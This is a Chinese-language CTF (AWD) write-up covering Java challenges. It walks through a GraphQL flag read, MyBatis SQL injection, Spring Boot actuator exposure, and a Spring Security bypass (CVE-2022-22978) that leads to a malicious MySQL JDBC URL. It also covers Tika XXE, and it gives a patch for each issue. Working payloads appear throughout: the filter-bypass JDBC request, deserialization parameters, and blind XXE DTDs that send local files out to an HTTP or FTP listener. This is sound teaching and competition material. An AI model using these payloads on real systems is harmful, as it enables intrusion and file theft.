梧桐杯决赛的awd题目,一共三台靶机,其中一台靶机上运行了两个java服务,这里做一下awd中java题目的总结

关于patch jar包可以参考 https://github.com/H4cking2theGate/JarPatcher

actuator-testbed

本题的依赖如下,springboot版本为2.0.5.RELEASE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>

<dependency>
<groupId>io.leangen.graphql</groupId>
<artifactId>graphql-spqr-spring-boot-starter</artifactId>
<version>0.0.3</version>
</dependency>

<dependency>
<groupId>javax.persistence</groupId>
<artifactId>javax.persistence-api</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.26</version>
</dependency>
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.4</version>
</dependency>

GraphQL接口读文件

题目使用了graphql-spqr-spring-boot-starter,我们可以访问/graphql接口来使用查询

例如下面这个userinfo使用了@GraphQLQuery注解,可以用来读flag

1
2
3
4
5
6
7
@GraphQLQuery(
name = "userinfo"
)
public String userinfo() {
String data = FileReader.readFileAsString("./flag");
return data.equals("") ? "empty user data" : data;
}

这样请求就可以

1
2
3
{
"query":"query { userinfo } "
}

修的方式很简单,改一下返回值即可,不让读flag

mybatis sql注入

同样存在一个接口

1
2
3
4
5
6
7
@GraphQLMutation(
name = "login"
)
public String login(String username, String password) {
User user = this.authService.login(username, password);
return user != null ? "Login Success: " + user.getUsername() : "Login Failed";
}

继续跟进

1
2
3
4
5
6
7
8
public User login(String username, String password) {
User user = this.userMapper.findByUsername(username);
if (user != null && user.getPassword().equals(password)) {
return user;
} else {
throw new IllegalArgumentException("Invalid username or password");
}
}

UserMapper里面的注解使用了$,会产生sql注入,打报错注入读文件即可

1
2
3
4
5
@Mapper
public interface UserMapper {
@Select({"SELECT * FROM user WHERE username = '${username}"})
User findByUsername(String username);
}

patch的话需要修改注解

1
2
3
4
5
@Mapper
public interface UserMapper {
@Select({"SELECT * FROM user WHERE username = #{username}"})
User findByUsername(String username);
}

actuator未授权(没通)

这题还有actuator的未授权,并且题目名字也有暗示,但是实际测试比赛的时候发现并没有在web端暴露env接口,而且也没有合适的依赖可以打,mysql版本太高也没法打jdbc,不知道是什么用意,本题spring配置如下

1
2
3
4
5
6
7
8
server.port=8098
eureka.client.register-with-eureka=false
eureka.client.fetch-registry=false
graphql.servlet.schema-location-pattern=**/*.graphqls
spring.datasource.url=jdbc:mysql://localhost:3306/ctf
spring.datasource.username=ctf
spring.datasource.password=ctf
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

Spring Boot Actuator 是 Spring Boot 提供的一个管理和监控 Spring Boot 应用程序的插件。Actuator 可以提供有关应用程序的健康状况、度量、日志记录和其他信息,可以通过 HTTP 或 JMX 等不同方式进行访问。

/env 是 Spring Boot Actuator 的一个端点,用于显示当前应用程序的环境属性。该端点返回一个 JSON 格式的响应,其中包含有关应用程序环境的详细信息,例如操作系统、Java 运行时环境、应用程序配置属性等等。

Spring Boot 2.x

如果1.5.x<=SpringBoot<=2.x,那么默认是只能访问到healthinfo端点的

参考:https://docs.spring.io/spring-boot/docs/2.5.x/reference/htmlsingle/#actuator.endpoints.enabling

Spring Boot Actuator 针对于所有 endpoint 都提供了两种状态的配置

  • enabled 启用状态。默认情况下除了 shutdown 之外,其他 endpoint 默认是启用状态。
  • exposure 暴露状态。endpoint 的 enabled 设置为 true 后,还需要暴露一次,才能够被访问,默认情况下只有 health 和 info 是暴露的。

Since Endpoints may contain sensitive information, careful consideration should be given about when to expose them. The following table shows the default exposure for the built-in endpoints:

ID JMX Web
auditevents Yes No
beans Yes No
caches Yes No
conditions Yes No
configprops Yes No
env Yes No
flyway Yes No
health Yes Yes
heapdump N/A No
httptrace Yes No
info Yes No
integrationgraph Yes No
jolokia N/A No
logfile N/A No
loggers Yes No
liquibase Yes No
metrics Yes No
mappings Yes No
prometheus N/A No
quartz Yes No
scheduledtasks Yes No
sessions Yes No
shutdown Yes No
startup Yes No
threaddump Yes No

To change which endpoints are exposed, use the following technology-specific include and exclude properties:

Property Default
management.endpoints.jmx.exposure.exclude
management.endpoints.jmx.exposure.include *
management.endpoints.web.exposure.exclude
management.endpoints.web.exposure.include health

The include property lists the IDs of the endpoints that are exposed. The exclude property lists the IDs of the endpoints that should not be exposed. The exclude property takes precedence over the include property. Both include and exclude properties can be configured with a list of endpoint IDs.

For example, to stop exposing all endpoints over JMX and only expose the health and info endpoints, use the following property:

Properties

Yaml

1
management.endpoints.jmx.exposure.include=health,info

* can be used to select all endpoints. For example, to expose everything over HTTP except the env and beans endpoints, use the following properties:

Properties

Yaml

1
2
management.endpoints.web.exposure.include=*
management.endpoints.web.exposure.exclude=env,beans

在这个版本下,如果希望暴露web的env端口,需要添加配置

1
management.endpoints.web.exposure.include=env

或者暴露所有端口

1
management.endpoints.web.exposure.include=*

就算如此还是只能使用get去请求,没法使用post来修改属性,这是由于环境中没有spring cloud相关依赖,我们可以添加

1
2
3
4
5
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-context</artifactId>
<version>2.2.1.RELEASE</version>
</dependency>

如果使用的是2.2.2.RELEASE

1
2
3
4
5
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-context</artifactId>
<version>2.2.2.RELEASE</version>
</dependency>

配置中需要添加

1
management.endpoint.env.post.enabled=true

如果需要安全的配置,只需要

1
2
3
management.endpoint.env.post.enabled=false

management.endpoint.env.enabled=false

Spring Boot 1.x

在1.x版本中,这里的配置有所不同,SpringBoot <= 1.5.x 以下,是不需要任何配置的,直接就可以访问到端点。

那么开发为了访问到其他端点,会这样设置来关闭认证,允许其他端点未授权访问:

1
management.security.enabled=false

如果想要针对某个端点,比如env,则可以这样设置:

1
endpoints.env.sensitive=false

Bypass

还有一道题目是关于SpringSecurity鉴权绕过,然后打jdbc的,还有一个tika的xxe

jdbc反序列化

首先是触发点,这里明显可以打jdbc

1
2
3
4
5
6
7
8
9
@RequestMapping(
value = {"/jdbc/*"},
method = {RequestMethod.POST}
)
public void callExternalAPI(@RequestParam("host") String host, @RequestParam(value = "port",defaultValue = "3306") int port, @RequestParam("DataBase") String database, @RequestParam("ExtraParams") String extraParams) throws SQLException {
MysqlConfiguration mysqlConfiguration = new MysqlConfiguration();
String jdbc = mysqlConfiguration.getJdbc(host, String.valueOf(port), database, extraParams);
DriverManager.getConnection(jdbc);
}

存在鉴权

1
2
3
4
5
protected void configure(HttpSecurity http) throws Exception {
((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().regexMatchers(new String[]{"/jdbc/.*"})).authenticated();
((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().anyRequest()).permitAll();
http.csrf().disable();
}

这里使用的SpringSecurity版本是5.5.6,参考CVE-2022-22978

1
2
3
/jdbc/%0a
/jdbc/%0d
/jdbc/%0a%0d

对ExtraParams有过滤,不能url编码,也不能大小写

1
private List<String> illegalParameters = Arrays.asList("autoDeserialize", "queryInterceptors", "statementInterceptors", "detectCustomCollations", "allowloadlocalinfile", "allowUrlInLocalInfile", "allowLoadLocalInfileInPath")

随便绕过一下,读文件

1
host=127.0.0.1%3a33060%2ftest%3fallowLoadLocalInfile%3dtrue%26allowUrlInLocalInfile%3dtrue%26allowLoadLocalInfileInPath%3d%2f%26maxAllowedPacket%3d65536%26user%3dbase64ZmlsZXJlYWRfcG9tLnhtbA%3d%3d%23&port=33060&DataBase=test&ExtraParams=1

这里的mysql版本8.0.20正好是没法打序列化的版本,如果是8.0.19可以打ServerStatusDiffInterceptor

1
2
autoDeserialize=true
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

打个jackson链即可rce

这里给一种修的方式,检测所有参数即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public void jdbcPatch() throws NotFoundException, CannotCompileException
{
CtClass targetClass = getPatchClass("config.MysqlConfiguration");
CtMethod wafMethod = CtNewMethod.make("public boolean waf(String s,String illegalParameter)\n" +
"{\n" +
" return (!s.toLowerCase().contains(illegalParameter.toLowerCase()) && !java.net.URLDecoder.decode(s).toLowerCase().contains(illegalParameter.toLowerCase()));\n" +
"}", targetClass);
targetClass.addMethod(wafMethod);
CtMethod getJdbcMethod = targetClass.getDeclaredMethod("getJdbc");
getJdbcMethod.setBody("{\n" +
" if ($0.extraParams.trim().isEmpty()) {\n" +
" return \"jdbc:mysql://HOSTNAME:PORT/DATABASE\".replace(\"HOSTNAME\", $1.trim()).replace(\"PORT\", $2.trim()).replace(\"DATABASE\", $3.trim());\n" +
" } else {\n" +
" java.util.Iterator var5 = $0.getIllegalParameters().iterator();\n" +
"\n" +
" String illegalParameter;\n" +
" do {\n" +
" if (!var5.hasNext()) {\n" +
" return \"jdbc:mysql://HOSTNAME:PORT/DATABASE?EXTRA_PARAMS\".replace(\"HOSTNAME\", $1.trim()).replace(\"PORT\", $2.toString().trim()).replace(\"DATABASE\", $3.trim()).replace(\"EXTRA_PARAMS\", $4.trim());\n" +
" }\n" +
"\n" +
" illegalParameter = (String)var5.next();\n" +
" } while( $0.waf($1,illegalParameter) && $0.waf($2,illegalParameter) && $0.waf($3,illegalParameter) && $0.waf($4,illegalParameter) );\n" +
"\n" +
" throw new RuntimeException(\"Illegal parameter: \" + illegalParameter);\n" +
" }\n" +
" }");
}

tika xxe

依赖有tika,给了个upload路由

1
2
3
4
5
@RequestMapping({"/upload"})
public String uploadFile(@RequestParam("data") String data) throws Exception {
StringBuffer stringBuffer = utils.GetMetadata(data);
return stringBuffer.toString();
}

这里的GetMetadata的parse中能打xxe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static StringBuffer GetMetadata(String data) throws Exception {
StringBuffer stringBuffer = new StringBuffer();
Parser parser = new AutoDetectParser();
BodyContentHandler handler = new BodyContentHandler();
Metadata metadata = new Metadata();
InputStream inputStream = base64ToInputStream(data);
ParseContext context = new ParseContext();
parser.parse(inputStream, handler, metadata, context);
String[] metadataNames = metadata.names();
String[] var8 = metadataNames;
int var9 = metadataNames.length;

for(int var10 = 0; var10 < var9; ++var10) {
String name = var8[var10];
stringBuffer.append(name + ": " + metadata.get(name));
}

return stringBuffer;
}

两处xxe位置,一个触发点在detect中

1
2
3
4
5
6
7
8
9
10
11
12
13
parseContentTypesFile:377, ContentTypeManager (org.apache.poi.openxml4j.opc.internal)
<init>:105, ContentTypeManager (org.apache.poi.openxml4j.opc.internal)
<init>:56, ZipContentTypeManager (org.apache.poi.openxml4j.opc.internal)
getPartsImpl:137, ZipPackage (org.apache.poi.openxml4j.opc)
getParts:623, OPCPackage (org.apache.poi.openxml4j.opc)
open:209, OPCPackage (org.apache.poi.openxml4j.opc)
detectOfficeOpenXML:194, ZipContainerDetector (org.apache.tika.parser.pkg)
detectZipFormat:134, ZipContainerDetector (org.apache.tika.parser.pkg)
detect:77, ZipContainerDetector (org.apache.tika.parser.pkg)
detect:61, CompositeDetector (org.apache.tika.detect)
parse:113, AutoDetectParser (org.apache.tika.parser)
GetMetadata:31, utils (Utils)
uploadFile:34, TestController (hello)

第二处在parse

1
2
3
4
5
6
7
8
9
10
11
12
13
parseContentTypesFile:377, ContentTypeManager (org.apache.poi.openxml4j.opc.internal)
<init>:105, ContentTypeManager (org.apache.poi.openxml4j.opc.internal)
<init>:56, ZipContentTypeManager (org.apache.poi.openxml4j.opc.internal)
getPartsImpl:137, ZipPackage (org.apache.poi.openxml4j.opc)
getParts:623, OPCPackage (org.apache.poi.openxml4j.opc)
open:209, OPCPackage (org.apache.poi.openxml4j.opc)
parse:70, OOXMLExtractorFactory (org.apache.tika.parser.microsoft.ooxml)
parse:82, OOXMLParser (org.apache.tika.parser.microsoft.ooxml)
parse:242, CompositeParser (org.apache.tika.parser)
parse:242, CompositeParser (org.apache.tika.parser)
parse:120, AutoDetectParser (org.apache.tika.parser)
GetMetadata:31, utils (Utils)
uploadFile:34, TestController (hello)

java xxe总结

1
2
3
4
5
6
7
8
1、所有的【\r】 都会被替换为【\n】
2、如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件,所以这里通用的方法就是FTP来进行读取
3、版本限制是 <7u141 和 <8u162 才可以读取整个文件
4、如果含有特殊字符 【%】 【&】 会完全出错
5、如果含有特殊字符 【’】 【”】 可以稍微绕过
6、如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断
7、如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case
8、如果含有特殊字符【#】,会造成截断

DOM4j下在内部子集中无法使用参数实体,我们的xml必须用外部dtd

构造xml

1
2
3
4
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/blind.dtd">
%remote;%payload;%send;
]>

外部dtd

这里可以用http读单行,但无法解析特殊字符

1
2
3
<!-- <!ENTITY % file SYSTEM "file:///../../../../../../../../flag.txt"> -->
<!ENTITY % file SYSTEM "file:///e:/flag.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8000/%file;'>">

或者ftp来读,高版本可以读多行,低版本读一行,匿名登陆的密码是java版本

1
2
<!ENTITY % file SYSTEM "file:///e:/flag.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'ftp://127.0.0.1:21/%file;'>">

读多行也可以可以用pass来读

1
2
<!ENTITY % file SYSTEM "file:///e:/flag.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'ftp://fakeuser:%file;@127.0.0.1:21'>">

把xml打包在zip中,命名为[Content_Types].xml即可

修复方案:org.apache.poi.openxml4j.opc.internal.ContentTypeManager#parseContentTypesFile

1
2
3
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

Reference

https://www.aqtd.com/nd.jsp?id=4844

https://xz.aliyun.com/t/9763

https://kylingit.com/blog/java-xxe%E4%B8%AD%E4%B8%A4%E7%A7%8D%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E5%BD%A2%E5%BC%8F%E5%8F%8A%E7%9B%B8%E5%85%B3%E9%99%90%E5%88%B6/

http://www.lvyyevd.cn/archives/xxe%E7%9A%84%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93

https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/

https://www.cnblogs.com/zpchcbd/p/12900903.html